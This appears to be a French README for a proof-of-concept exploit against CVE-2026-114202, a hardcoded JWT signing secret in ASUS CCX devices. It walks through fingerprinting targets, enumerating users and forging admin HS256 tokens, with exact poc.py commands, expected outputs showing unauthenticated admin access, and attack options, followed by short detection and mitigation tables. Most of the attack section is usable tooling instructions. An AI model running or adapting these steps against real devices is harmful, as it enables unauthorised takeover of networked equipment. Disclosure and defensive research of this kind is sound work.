
PoC en trois étapes pour CVE-2026-114202 : identifie les appareils ASUS CCX, énumère les utilisateurs et forge des JWT admin HS256 à partir du secret codé en dur pour obtenir un accès API non authentifié.
Les appareils ASUS CCX (Cloud Controller / Communication Exchange) sont livrés avec un secret de signature JWT HS256 codé en dur intégré au firmware. Comme ce secret ne change jamais d'un appareil à l'autre et ne peut pas être renouvelé par l'administrateur, tout attaquant qui parvient à le rétro-ingénierer ou à l'obtenir peut forger des jetons pour n'importe quel utilisateur — y compris les comptes administrateur — ce qui accorde un accès API complet et non authentifié à chaque appareil CCX déployé.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-114202 |
| CVSS 3.1 | 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-798 (Utilisation d'identifiants codés en dur) |
| Affectés | ASUS CCX, toutes les versions de firmware antérieures au correctif |
| Authentification requise | Aucune |
| Divulguée le | 2026-11-18 |
CCX expose une API REST authentifiée via des JWT signés en HS256. Le secret de signature est une chaîne statique compilée dans le firmware et identique sur tous les appareils dans le monde. L'API n'implémente pas :
Un attaquant qui extrait le secret d'une image de firmware CCX quelconque (disponible publiquement sur le support ASUS) peut fabriquer des jetons pour des combinaisons arbitraires d'utilisateur/rôle et s'authentifier auprès de n'importe quel appareil CCX sur Internet.
Le PoC exécute une attaque en 3 étapes :
flowchart LR
A([Attacker]) -->|HTTP probe| B[CCX Device\nany unit worldwide]
B -->|CCX version banner| A
A -->|Extract hardcoded\nHS256 secret from firmware| C[Known Secret\nHS256]
C -->|Forge admin JWT| D[POST /api/auth/token\nForged token]
D --> B
B -->|200 OK\nFull admin session| E([Admin Access\nAll CCX APIs])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style C fill:#2d1a3d,stroke:#a855f7,color:#a855f7
style E fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
Avertissement : Tests autorisés et environnements de laboratoire isolés uniquement.
pip install -r requirements.txt
# requirements: requests, pyjwt
Confirmer que la cible est un appareil CCX et récupérer les informations de version :
python3 poc.py --target https://ccx.example.com --stage fingerprint
Expected output :
[*] target: https://ccx.example.com
[+] ASUS CCX detected
model: CCX-2000
version: 3.1.4-build20260118
[*] firmware version vulnerable: YES
Énumérer les points de terminaison API accessibles et les noms d'utilisateur valides :
python3 poc.py --target https://ccx.example.com --stage discover
Expected output :
[*] enumerating users via /api/users (unauthenticated list)
[+] found users: admin, operator, monitor
[*] enumerating endpoints...
[+] accessible endpoints: /api/config, /api/logs, /api/system, /api/users
Générer un JWT administrateur falsifié et s'authentifier :
python3 poc.py --target https://ccx.example.com --stage forge --user admin
# Chain all 3 stages in one run
python3 poc.py --target https://ccx.example.com --stage all --user admin
Expected output :
[*] forging HS256 JWT for user=admin role=administrator
[+] token: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4...
[*] authenticating with forged token...
POST /api/auth/token HTTP 200
[!] VULNERABLE — authenticated as administrator without credentials
[*] GET /api/system
HTTP 200 {"hostname":"ccx-prod-01","uptime":...}
| Option | Description |
|---|---|
--target URL | URL de base CCX cible (obligatoire) |
--stage fingerprint|discover|forge|all | Étape d'attaque à exécuter |
--user NAME | Nom d'utilisateur pour lequel forger le jeton (par défaut : admin) |
--role ROLE | Rôle à intégrer dans le jeton (par défaut : administrator) |
--proxy URL | Proxy HTTP pour l'intégration avec Burp Suite |
--no-verify | Ignorer la vérification du certificat TLS |
[*] target: https://ccx.example.com
[*] forging HS256 JWT for user=admin
[*] POST /api/auth/token HTTP 401 Unauthorized
[+] NOT vulnerable — secret has been rotated or token rejected
| Indicateur | Remarques |
|---|---|
| Jeton d'authentification émis sans échange préalable d'identifiants | Aucune tentative de connexion avant les appels API |
JWT alg: HS256 avec secret codé en dur connu | Décoder l'en-tête du jeton avec python3 -c "import jwt; jwt.decode(...)" |
| Appels API depuis des plages d'adresses IP inattendues | CCX ne lie pas les jetons à l'adresse IP source |
/api/config ou /api/users accédés sans session préalable | Tentative d'énumération non authentifiée |
Accès complet non authentifié à toutes les API de gestion CCX sur chaque appareil non corrigé dans le monde. Un attaquant peut :
Appliquer le correctif firmware ASUS CCX qui introduit des secrets dérivés par appareil.
| Action | Détail |
|---|---|
| Appliquer le correctif firmware | Télécharger depuis l'avis de sécurité ASUS |
| Renouveler les mots de passe administrateur | Tous les mots de passe stockés peuvent être exposés |
| Restreindre l'accès à l'API | Filtrer le port de gestion CCX vers le VLAN de gestion via le pare-feu |
| Surveiller les journaux d'authentification | Alerter en cas d'authentification JWT sans étape préalable d'identifiants |
Avertissement : Pour la recherche en sécurité autorisée et l'utilisation en laboratoire contrôlé uniquement. Licence MIT.